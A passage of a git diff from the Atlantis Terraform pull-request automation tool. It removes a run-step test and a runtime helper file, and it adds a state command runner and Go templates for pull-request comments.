"user_name=acme-user\n", - }, { - Command: "echo $PATH", - ExpOut: fmt.Sprintf("%s:%s\n", os.Getenv("PATH"), "/bin/dir"), - }, - { - Command: "echo args=$COMMENT_ARGS", - ExpOut: "args=-target=resource1,-target=resource2\n", - }, - } - - for _, c := range cases { - - var projVersion *version.Version - var err error - - projVersion, err = version.NewVersion("v0.11.0") - - if c.Version != "" { - projVersion, err = version.NewVersion(c.Version) - Ok(t, err) - } - - Ok(t, err) - - defaultVersion, _ := version.NewVersion("0.8") - - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - When(terraform.EnsureVersion(matchers.AnyPtrToLoggingSimpleLogger(), matchers2.AnyPtrToGoVersionVersion())). - ThenReturn(nil) - - logger := logging.NewNoopLogger() - - r := runtime.RunStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: defaultVersion, - TerraformBinDir: "/bin/dir", - } - t.Run(c.Command, func(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - ctx := models.ProjectCommandContext{ - BaseRepo: models.Repo{ - Name: "basename", - Owner: "baseowner", - }, - HeadRepo: models.Repo{ - Name: "headname", - Owner: "headowner", - }, - Pull: models.PullRequest{ - Num: 2, - HeadBranch: "add-feat", - BaseBranch: "master", - Author: "acme", - }, - User: models.User{ - Username: "acme-user", - }, - Log: logger, - Workspace: "myworkspace", - RepoRelDir: "mydir", - TerraformVersion: projVersion, - ProjectName: c.ProjectName, - EscapedCommentArgs: []string{"-target=resource1", "-target=resource2"}, - } - out, err := r.Run(ctx, c.Command, tmpDir, map[string]string{"test": "var"}) - if c.ExpErr != "" { - ErrContains(t, c.ExpErr, err) - return - } - Ok(t, err) - // Replace $DIR in the exp with the actual temp dir. We do this - // here because when constructing the cases we don't yet know the - // temp dir. - expOut := strings.Replace(c.ExpOut, "$DIR", tmpDir, -1) - Equals(t, expOut, out) - - terraform.VerifyWasCalledOnce().EnsureVersion(logger, projVersion) - terraform.VerifyWasCalled(Never()).EnsureVersion(logger, defaultVersion) - - }) - } -} diff --git a/server/events/runtime/runtime.go b/server/events/runtime/runtime.go deleted file mode 100644 index d671a40694..0000000000 --- a/server/events/runtime/runtime.go +++ /dev/null @@ -1,84 +0,0 @@ -// Package runtime holds code for actually running commands vs. preparing -// and constructing. -package runtime - -import ( - "fmt" - "regexp" - "strings" - - version "github.com/hashicorp/go-version" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/terraform" - "github.com/runatlantis/atlantis/server/logging" -) - -const ( - // lineBeforeRunURL is the line output during a remote operation right before - // a link to the run url will be output. - lineBeforeRunURL = "To view this run in a browser, visit:" - planfileSlashReplace = "::" -) - -// TerraformExec brings the interface from TerraformClient into this package -// without causing circular imports. -type TerraformExec interface { - RunCommandWithVersion(log *logging.SimpleLogger, path string, args []string, envs map[string]string, v *version.Version, workspace string) (string, error) - EnsureVersion(log *logging.SimpleLogger, v *version.Version) error -} - -// AsyncTFExec brings the interface from TerraformClient into this package -// without causing circular imports. -// It's split from TerraformExec because due to a bug in pegomock with channels, -// we can't generate a mock for it so we hand-write it for this specific method. -type AsyncTFExec interface { - // RunCommandAsync runs terraform with args. It immediately returns an - // input and output channel. Callers can use the output channel to - // get the realtime output from the command. - // Callers can use the input channel to pass stdin input to the command. - // If any error is passed on the out channel, there will be no - // further output (so callers are free to exit). - RunCommandAsync(log *logging.SimpleLogger, path string, args []string, envs map[string]string, v *version.Version, workspace string) (chan<- string, <-chan terraform.Line) -} - -// StatusUpdater brings the interface from CommitStatusUpdater into this package -// without causing circular imports. -type StatusUpdater interface { - UpdateProject(ctx models.ProjectCommandContext, cmdName models.CommandName, status models.CommitStatus, url string) error -} - -// MustConstraint returns a constraint. It panics on error. -func MustConstraint(constraint string) version.Constraints { - c, err := version.NewConstraint(constraint) - if err != nil { - panic(err) - } - return c -} - -// GetPlanFilename returns the filename (not the path) of the generated tf plan -// given a workspace and project name. -func GetPlanFilename(workspace string, projName string) string { - if projName == "" { - return fmt.Sprintf("%s.tfplan", workspace) - } - projName = strings.Replace(projName, "/", planfileSlashReplace, -1) - return fmt.Sprintf("%s-%s.tfplan", projName, workspace) -} - -// ProjectNameFromPlanfile returns the project name that a planfile with name -// filename is for. If filename is for a project without a name then it will -// return an empty string. workspace is the workspace this project is in. -func ProjectNameFromPlanfile(workspace string, filename string) (string, error) { - r, err := regexp.Compile(fmt.Sprintf(`(.*?)-%s\.tfplan`, workspace)) - if err != nil { - return "", errors.Wrap(err, "compiling project name regex, this is a bug") - } - projMatch := r.FindAllStringSubmatch(filename, 1) - if projMatch == nil { - return "", nil - } - rawProjName := projMatch[0][1] - return strings.Replace(rawProjName, planfileSlashReplace, "/", -1), nil -} diff --git a/server/events/state_command_runner.go b/server/events/state_command_runner.go new file mode 100644 index 0000000000..0478deea58 --- /dev/null +++ b/server/events/state_command_runner.go @@ -0,0 +1,46 @@ +package events + +import ( + "fmt" + + "github.com/runatlantis/atlantis/server/events/command" +) + +func NewStateCommandRunner( + pullUpdater *PullUpdater, + prjCmdBuilder ProjectStateCommandBuilder, + prjCmdRunner ProjectStateCommandRunner, +) *StateCommandRunner { + return &StateCommandRunner{ + pullUpdater: pullUpdater, + prjCmdBuilder: prjCmdBuilder, + prjCmdRunner: prjCmdRunner, + } +} + +type StateCommandRunner struct { + pullUpdater *PullUpdater + prjCmdBuilder ProjectStateCommandBuilder + prjCmdRunner ProjectStateCommandRunner +} + +func (v *StateCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { + var result command.Result + switch cmd.SubName { + case "rm": + result = v.runRm(ctx, cmd) + default: + result = command.Result{ + Failure: fmt.Sprintf("unknown state subcommand %s", cmd.SubName), + } + } + v.pullUpdater.updatePull(ctx, cmd, result) +} + +func (v *StateCommandRunner) runRm(ctx *command.Context, cmd *CommentCommand) command.Result { + projectCmds, err := v.prjCmdBuilder.BuildStateRmCommands(ctx, cmd) + if err != nil { + ctx.Log.Warn("Error %s", err) + } + return runProjectCmds(projectCmds, v.prjCmdRunner.StateRm) +} diff --git a/server/events/templates/apply_unwrapped_success.tmpl b/server/events/templates/apply_unwrapped_success.tmpl new file mode 100644 index 0000000000..6e9ed0f400 --- /dev/null +++ b/server/events/templates/apply_unwrapped_success.tmpl @@ -0,0 +1,5 @@ +{{ define "applyUnwrappedSuccess" -}} +```diff +{{ .Output }} +``` +{{ end -}} diff --git a/server/events/templates/apply_wrapped_success.tmpl b/server/events/templates/apply_wrapped_success.tmpl new file mode 100644 index 0000000000..dfa031d54d --- /dev/null +++ b/server/events/templates/apply_wrapped_success.tmpl @@ -0,0 +1,6 @@ +{{ define "applyWrappedSuccess" -}} +
Show Output + +{{ template "applyUnwrappedSuccess" . }} +
+{{ end -}} diff --git a/server/events/templates/approve_all_projects.tmpl b/server/events/templates/approve_all_projects.tmpl new file mode 100644 index 0000000000..ec73449d7a --- /dev/null +++ b/server/events/templates/approve_all_projects.tmpl @@ -0,0 +1,8 @@ +{{ define "approveAllProjects" -}} +Approved Policies for {{ len .Results }} projects: + +{{ range $result := .Results -}} +1. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ end -}} +{{- template "log" . -}} +{{ end }} diff --git a/server/events/templates/failure.tmpl b/server/events/templates/failure.tmpl new file mode 100644 index 0000000000..712912a56f --- /dev/null +++ b/server/events/templates/failure.tmpl @@ -0,0 +1,6 @@ +{{ define "failure" -}} +**{{ .Command }} Failed**: {{ .Failure }} +{{- if ne .RenderedContext ""}} +{{ .RenderedContext }} +{{- end }} +{{ end -}} diff --git a/server/events/templates/failure_with_log.tmpl b/server/events/templates/failure_with_log.tmpl new file mode 100644 index 0000000000..170fde4f2b --- /dev/null +++ b/server/events/templates/failure_with_log.tmpl @@ -0,0 +1,4 @@ +{{ define "failureWithLog" -}} +{{ template "failure" . -}} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/import_success_unwrapped.tmpl b/server/events/templates/import_success_unwrapped.tmpl new file mode 100644 index 0000000000..08b6336d4d --- /dev/null +++ b/server/events/templates/import_success_unwrapped.tmpl @@ -0,0 +1,12 @@ +{{ define "importSuccessUnwrapped" -}} +```diff +{{ .Output }} +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + {{.RePlanCmd}} + ``` +{{ end -}} diff --git a/server/events/templates/import_success_wrapped.tmpl b/server/events/templates/import_success_wrapped.tmpl new file mode 100644 index 0000000000..00d9689a38 --- /dev/null +++ b/server/events/templates/import_success_wrapped.tmpl @@ -0,0 +1,14 @@ +{{ define "importSuccessWrapped" -}} +
Show Output + +```diff +{{ .Output }} +``` +
+:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + {{ .RePlanCmd }} + ``` +{{ end -}} diff --git a/server/events/templates/log.tmpl b/server/events/templates/log.tmpl new file mode 100644 index 0000000000..305436eebb --- /dev/null +++ b/server/events/templates/log.tmpl @@ -0,0 +1,10 @@ +{{ define "log" -}} +{{ if .Verbose -}} +
Log +

+ +``` +{{.Log}}``` +

+{{ end -}} +{{ end -}} diff --git a/server/events/templates/merged_again.tmpl b/server/events/templates/merged_again.tmpl new file mode 100644 index 0000000000..ece363f19e --- /dev/null +++ b/server/events/templates/merged_again.tmpl @@ -0,0 +1,5 @@ +{{ define "mergedAgain" -}} +{{ if .MergedAgain -}} +:twisted_rightwards_arrows: Upstream was modified, a new merge was performed. +{{ end -}} +{{ end -}} diff --git a/server/events/templates/multi_project_apply.tmpl b/server/events/templates/multi_project_apply.tmpl new file mode 100644 index 0000000000..2e2b2baa30 --- /dev/null +++ b/server/events/templates/multi_project_apply.tmpl @@ -0,0 +1,11 @@ +{{ define "multiProjectApply" -}} +{{ template "multiProjectHeader" . -}} +{{ range $i, $result := .Results -}} +### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ $result.Rendered }} + +--- +{{ end -}} +{{ template "multiProjectApplyFooter" . -}} +{{ template "log" . -}} +{{ end -}} diff --git a/server/events/templates/multi_project_apply_footer.tmpl b/server/events/templates/multi_project_apply_footer.tmpl new file mode 100644 index 0000000000..58299868ce --- /dev/null +++ b/server/events/templates/multi_project_apply_footer.tmpl @@ -0,0 +1,7 @@ +{{ define "multiProjectApplyFooter" -}} +{{ if (gt (len .Results) 1) -}} +### Apply Summary + +{{ len .Results }} projects, {{ .NumApplySuccesses }} successful, {{ .NumApplyFailures }} failed, {{ .NumApplyErrors }} errored +{{ end -}} +{{ end -}} diff --git a/server/events/templates/multi_project_header.tmpl b/server/events/templates/multi_project_header.tmpl new file mode 100644 index 0000000000..c1ce5dc053 --- /dev/null +++ b/server/events/templates/multi_project_header.tmpl @@ -0,0 +1,11 @@ +{{ define "multiProjectHeader" -}} +Ran {{.Command}} for {{ len .Results }} projects: + +{{ range $result := .Results -}} +1. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ end -}} +{{ if (gt (len .Results) 0) -}} +--- + +{{ end -}} +{{ end -}} diff --git a/server/events/templates/multi_project_import.tmpl b/server/events/templates/multi_project_import.tmpl new file mode 100644 index 0000000000..31cd70cbd4 --- /dev/null +++ b/server/events/templates/multi_project_import.tmpl @@ -0,0 +1,10 @@ +{{ define "multiProjectImport" -}} +{{ template "multiProjectHeader" . -}} +{{ range $i, $result := .Results -}} +### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ $result.Rendered }} + +--- +{{ end -}} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/multi_project_plan.tmpl b/server/events/templates/multi_project_plan.tmpl new file mode 100644 index 0000000000..f57e96794a --- /dev/null +++ b/server/events/templates/multi_project_plan.tmpl @@ -0,0 +1,14 @@ +{{ define "multiProjectPlan" -}} +{{ template "multiProjectHeader" . -}} +{{ $disableApplyAll := .DisableApplyAll -}} +{{ $hideUnchangedPlans := .HideUnchangedPlanComments -}} +{{ range $i, $result := .Results -}} +{{ if (and $hideUnchangedPlans $result.NoChanges) }}{{continue}}{{end -}} +### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ $result.Rendered }} + +--- +{{ end -}} +{{ template "multiProjectPlanFooter" . -}} +{{ template "log" . -}} +{{ end -}} diff --git a/server/events/templates/multi_project_plan_footer.tmpl b/server/events/templates/multi_project_plan_footer.tmpl new file mode 100644 index 0000000000..1c193a16b7 --- /dev/null +++ b/server/events/templates/multi_project_plan_footer.tmpl @@ -0,0 +1,17 @@ +{{ define "multiProjectPlanFooter" -}} +{{ if and (gt (len .Results) 0) -}} +### Plan Summary + +{{ len .Results }} projects, {{ .NumPlansWithChanges }} with changes, {{ .NumPlansWithNoChanges }} with no changes, {{ .NumPlanFailures }} failed +{{ if and (not .PlansDeleted) (ne .DisableApplyAll true) }} +* :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} unlock + ``` +{{ end -}} +{{ end -}} +{{ end -}} diff --git a/server/events/templates/multi_project_policy.tmpl b/server/events/templates/multi_project_policy.tmpl new file mode 100644 index 0000000000..276dfe2b72 --- /dev/null +++ b/server/events/templates/multi_project_policy.tmpl @@ -0,0 +1,29 @@ +{{ define "multiProjectPolicy" -}} +{{ template "multiProjectHeader" . -}} +{{ $disableApplyAll := .DisableApplyAll -}} +{{ $hideUnchangedPlans := .HideUnchangedPlanComments -}} +{{ $quietPolicyChecks := .QuietPolicyChecks -}} +{{ range $i, $result := .Results -}} +{{ if (and $hideUnchangedPlans $result.NoChanges) }}{{continue}}{{end -}} +{{ if (and $quietPolicyChecks $result.IsSuccessful) }}{{continue}}{{end -}} +### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ $result.Rendered }} + +{{ if ne $disableApplyAll true -}} +--- +{{ end -}} +{{ end -}} +{{ if ne .DisableApplyAll true -}} +{{ if and (gt (len .Results) 0) (not .PlansDeleted) -}} +* :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} unlock + ``` +{{ end -}} +{{ end -}} +{{ template "log" . -}} +{{ end -}} diff --git a/server/events/templates/multi_project_policy_unsuccessful.tmpl b/server/events/templates/multi_project_policy_unsuccessful.tmpl new file mode 100644 index 0000000000..7e11821dfd --- /dev/null +++ b/server/events/templates/multi_project_policy_unsuccessful.tmpl @@ -0,0 +1,31 @@ +{{ define "multiProjectPolicyUnsuccessful" -}} +{{ template "multiProjectHeader" . -}} +{{ $disableApplyAll := .DisableApplyAll -}} +{{ $quietPolicyChecks := .QuietPolicyChecks -}} +{{ range $i, $result := .Results -}} +{{ if (and $quietPolicyChecks $result.IsSuccessful) }}{{continue}}{{end -}} +### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ $result.Rendered }} + +{{ if ne $disableApplyAll true -}} +--- +{{ end -}} +{{ end -}} +{{ if ne .DisableApplyAll true -}} +{{ if and (gt (len .Results) 0) (not .PlansDeleted) -}} +* :heavy_check_mark: To **approve** all unapplied plans from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + {{ .ExecutableName }} plan + ``` +{{ end -}} +{{ end -}} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/multi_project_state_rm.tmpl b/server/events/templates/multi_project_state_rm.tmpl new file mode 100644 index 0000000000..a00464a7b8 --- /dev/null +++ b/server/events/templates/multi_project_state_rm.tmpl @@ -0,0 +1,10 @@ +{{ define "multiProjectStateRm" -}} +{{ template "multiProjectHeader" . -}} +{{ range $i, $result := .Results -}} +### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ $result.Rendered}} + +--- +{{ end -}} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/multi_project_version.tmpl b/server/events/templates/multi_project_version.tmpl new file mode 100644 index 0000000000..70eeea40f9 --- /dev/null +++ b/server/events/templates/multi_project_version.tmpl @@ -0,0 +1,10 @@ +{{ define "multiProjectVersion" -}} +{{ template "multiProjectHeader" . -}} +{{ range $i, $result := .Results -}} +### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` +{{ $result.Rendered}} + +--- +{{ end -}} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/plan_success_unwrapped.tmpl b/server/events/templates/plan_success_unwrapped.tmpl new file mode 100644 index 0000000000..e4ed2e0911 --- /dev/null +++ b/server/events/templates/plan_success_unwrapped.tmpl @@ -0,0 +1,24 @@ +{{ define "planSuccessUnwrapped" -}} +```diff +{{ if .EnableDiffMarkdownFormat }}{{ .DiffMarkdownFormattedTerraformOutput }}{{ else }}{{ .TerraformOutput }}{{ end }} +``` + +{{ if .PlanWasDeleted -}} +This plan was not saved because one or more projects failed and automerge requires all plans pass. +{{ else -}} +{{ if not .DisableApply -}} +* :arrow_forward: To **apply** this plan, comment: + ```shell + {{ .ApplyCmd }} + ``` +{{ end -}} +{{ if not .DisableRepoLocking -}} +* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) +{{ end -}} +* :repeat: To **plan** this project again, comment: + ```shell + {{ .RePlanCmd }} + ``` +{{ end -}} +{{ template "mergedAgain" . -}} +{{ end -}} diff --git a/server/events/templates/plan_success_wrapped.tmpl b/server/events/templates/plan_success_wrapped.tmpl new file mode 100644 index 0000000000..e948a20768 --- /dev/null +++ b/server/events/templates/plan_success_wrapped.tmpl @@ -0,0 +1,28 @@ +{{ define "planSuccessWrapped" -}} +
Show Output + +```diff +{{ if .EnableDiffMarkdownFormat }}{{ .DiffMarkdownFormattedTerraformOutput }}{{ else }}{{ .TerraformOutput }}{{ end }} +``` +
+ +{{ if .PlanWasDeleted -}} +This plan was not saved because one or more projects failed and automerge requires all plans pass. +{{ else -}} +{{ if not .DisableApply -}} +* :arrow_forward: To **apply** this plan, comment: + ```shell + {{ .ApplyCmd }} + ``` +{{ end -}} +{{ if not .DisableRepoLocking -}} +* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) +{{ end -}} +* :repeat: To **plan** this project again, comment: + ```shell + {{ .RePlanCmd }} + ``` +{{ end -}} +{{ .PlanSummary }} +{{ template "mergedAgain" . -}} +{{ end -}} diff --git a/server/events/templates/policy_check.tmpl b/server/events/templates/policy_check.tmpl new file mode 100644 index 0000000000..69ab18cc8d --- /dev/null +++ b/server/events/templates/policy_check.tmpl @@ -0,0 +1,9 @@ +{{ define "policyCheck" -}} +{{ $policy_sets := . }} +{{ range $ps, $policy_sets }} +#### Policy Set: `{{ $ps.PolicySetName }}` +```diff +{{ $ps.PolicyOutput }} +``` +{{ end }} +{{ end }} diff --git a/server/events/templates/policy_check_results_unwrapped.tmpl b/server/events/templates/policy_check_results_unwrapped.tmpl new file mode 100644 index 0000000000..16d7b9e865 --- /dev/null +++ b/server/events/templates/policy_check_results_unwrapped.tmpl @@ -0,0 +1,35 @@ +{{ define "policyCheckResultsUnwrapped" -}} +{{- if eq .Command "Policy Check" }} +{{- if ne .PreConftestOutput "" }} +```diff +{{ .PreConftestOutput }} +``` +{{- end -}} +{{ template "policyCheck" .PolicySetResults }} +{{- if ne .PostConftestOutput "" }} +```diff +{{ .PostConftestOutput }} +``` +{{ end -}} +{{- end }} +{{- if .PolicyCleared }} +* :arrow_forward: To **apply** this plan, comment: + ```shell + {{ .ApplyCmd }} + ``` +{{- else }} +#### Policy Approval Status: +``` +{{ .PolicyApprovalSummary }} +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + {{ .ApprovePoliciesCmd }} + ``` +{{- end }} +* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + {{ .RePlanCmd }} + ``` +{{ end -}} diff --git a/server/events/templates/policy_check_results_wrapped.tmpl b/server/events/templates/policy_check_results_wrapped.tmpl new file mode 100644 index 0000000000..49e38c46c4 --- /dev/null +++ b/server/events/templates/policy_check_results_wrapped.tmpl @@ -0,0 +1,49 @@ +{{ define "policyCheckResultsWrapped" -}} +
Show Output +{{- if eq .Command "Policy Check" }} +{{- if ne .PreConftestOutput "" }} + +```diff +{{ .PreConftestOutput }} +``` + +{{- end -}} +{{ template "policyCheck" .PolicySetResults }} +{{- if ne .PostConftestOutput "" }} +```diff +{{ .PostConftestOutput }} +``` +{{ end -}} +{{- end }} +{{- if .PolicyCleared }} +* :arrow_forward: To **apply** this plan, comment: + ```shell + {{ .ApplyCmd }} + ``` +{{- else }} +
+ +#### Policy Approval Status: +``` +{{ .PolicyApprovalSummary }} +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + {{ .ApprovePoliciesCmd }} + ``` +{{- end }} +* :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + {{ .RePlanCmd }} + ``` +{{- if eq .Command "Policy Check" }} + +{{- if ne .PolicyCheckSummary "" }} +``` +{{ .PolicyCheckSummary }} +``` +{{- end }} + +{{- end }} +{{ end -}} diff --git a/server/events/templates/single_project_apply.tmpl b/server/events/templates/single_project_apply.tmpl new file mode 100644 index 0000000000..173bb46847 --- /dev/null +++ b/server/events/templates/single_project_apply.tmpl @@ -0,0 +1,7 @@ +{{ define "singleProjectApply" -}} +{{ $result := index .Results 0 -}} +Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` + +{{ $result.Rendered }} +{{ template "log" . -}} +{{ end -}} diff --git a/server/events/templates/single_project_import_success.tmpl b/server/events/templates/single_project_import_success.tmpl new file mode 100644 index 0000000000..e03b53de5e --- /dev/null +++ b/server/events/templates/single_project_import_success.tmpl @@ -0,0 +1,7 @@ +{{ define "singleProjectImport" -}} +{{ $result := index .Results 0 -}} +Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` + +{{ $result.Rendered }} +{{ template "log" . -}} +{{ end -}} diff --git a/server/events/templates/single_project_plan_success.tmpl b/server/events/templates/single_project_plan_success.tmpl new file mode 100644 index 0000000000..77f6e13d64 --- /dev/null +++ b/server/events/templates/single_project_plan_success.tmpl @@ -0,0 +1,18 @@ +{{ define "singleProjectPlanSuccess" -}} +{{ $result := index .Results 0 -}} +Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` + +{{ $result.Rendered }} +{{ if ne .DisableApplyAll true }} +--- +* :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} unlock + ``` +{{ end -}} +{{ template "log" . -}} +{{ end -}} diff --git a/server/events/templates/single_project_plan_unsuccessful.tmpl b/server/events/templates/single_project_plan_unsuccessful.tmpl new file mode 100644 index 0000000000..1dd0cd9643 --- /dev/null +++ b/server/events/templates/single_project_plan_unsuccessful.tmpl @@ -0,0 +1,7 @@ +{{ define "singleProjectPlanUnsuccessful" -}} +{{ $result := index .Results 0 -}} +Ran {{ .Command }} for dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` + +{{ $result.Rendered }} +{{ template "log" . -}} +{{ end -}} diff --git a/server/events/templates/single_project_policy_unsuccessful.tmpl b/server/events/templates/single_project_policy_unsuccessful.tmpl new file mode 100644 index 0000000000..0bf0ac1a0c --- /dev/null +++ b/server/events/templates/single_project_policy_unsuccessful.tmpl @@ -0,0 +1,22 @@ +{{ define "singleProjectPolicyUnsuccessful" -}} +{{ $result := index .Results 0 -}} +Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` + +{{ $result.Rendered }} +{{ if ne .DisableApplyAll true -}} +--- +* :heavy_check_mark: To **approve** all unapplied plans from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: + ```shell + {{ .ExecutableName }} unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + {{ .ExecutableName }} plan + ``` +{{ end -}} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/single_project_state_rm_success.tmpl b/server/events/templates/single_project_state_rm_success.tmpl new file mode 100644 index 0000000000..5f753e548e --- /dev/null +++ b/server/events/templates/single_project_state_rm_success.tmpl @@ -0,0 +1,6 @@ +{{ define "singleProjectStateRm" -}} +{{$result := index .Results 0}}Ran {{.Command}} `{{.SubCommand}}` for {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}` + +{{$result.Rendered}} +{{ template "log" . }} +{{ end }} diff --git a/server/events/templates/single_project_version_success.tmpl b/server/events/templates/single_project_version_success.tmpl new file mode 100644 index 0000000000..a3023b5795 --- /dev/null +++ b/server/events/templates/single_project_version_success.tmpl @@ -0,0 +1,7 @@ +{{ define "singleProjectVersionSuccess" -}} +{{ $result := index .Results 0 -}} +Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` + +{{ $result.Rendered }} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/single_project_version_unsuccessful.tmpl b/server/events/templates/single_project_version_unsuccessful.tmpl new file mode 100644 index 0000000000..f3da903f07 --- /dev/null +++ b/server/events/templates/single_project_version_unsuccessful.tmpl @@ -0,0 +1,3 @@ +{{ define "singleProjectVersionUnsuccessful" -}} +{{ template "singleProjectPlanUnsuccessful" . }} +{{ end -}} diff --git a/server/events/templates/state_rm_success_unwrapped.tmpl b/server/events/templates/state_rm_success_unwrapped.tmpl new file mode 100644 index 0000000000..564d8796ae --- /dev/null +++ b/server/events/templates/state_rm_success_unwrapped.tmpl @@ -0,0 +1,12 @@ +{{ define "stateRmSuccessUnwrapped" -}} +```diff +{{ .Output }} +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + {{.RePlanCmd}} + ``` +{{ end }} diff --git a/server/events/templates/state_rm_success_wrapped.tmpl b/server/events/templates/state_rm_success_wrapped.tmpl new file mode 100644 index 0000000000..2a703107c6 --- /dev/null +++ b/server/events/templates/state_rm_success_wrapped.tmpl @@ -0,0 +1,14 @@ +{{ define "stateRmSuccessWrapped" -}} +
Show Output + +```diff +{{ .Output }} +``` +
+:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + {{.RePlanCmd}} + ``` +{{ end }} diff --git a/server/events/templates/unwrapped_err.tmpl b/server/events/templates/unwrapped_err.tmpl new file mode 100644 index 0000000000..37b201ab93 --- /dev/null +++ b/server/events/templates/unwrapped_err.tmpl @@ -0,0 +1,9 @@ +{{ define "unwrappedErr" -}} +**{{ .Command }} Error** +``` +{{ .Error }} +``` +{{ if ne .RenderedContext "" -}} +{{ .RenderedContext }} +{{ end -}} +{{ end -}} diff --git a/server/events/templates/unwrapped_err_with_log.tmpl b/server/events/templates/unwrapped_err_with_log.tmpl new file mode 100644 index 0000000000..e380805c2b --- /dev/null +++ b/server/events/templates/unwrapped_err_with_log.tmpl @@ -0,0 +1,4 @@ +{{ define "unwrappedErrWithLog" -}} +{{ template "unwrappedErr" . }} +{{- template "log" . -}} +{{ end -}} diff --git a/server/events/templates/version_unwrapped_success.tmpl b/server/events/templates/version_unwrapped_success.tmpl new file mode 100644 index 0000000000..a7622a481e --- /dev/null +++ b/server/events/templates/version_unwrapped_success.tmpl @@ -0,0 +1,5 @@ +{{ define "versionUnwrappedSuccess" -}} +``` +{{ .Output }} +``` +{{ end }} diff --git a/server/events/templates/version_wrapped_success.tmpl b/server/events/templates/version_wrapped_success.tmpl new file mode 100644 index 0000000000..bc6f76696c --- 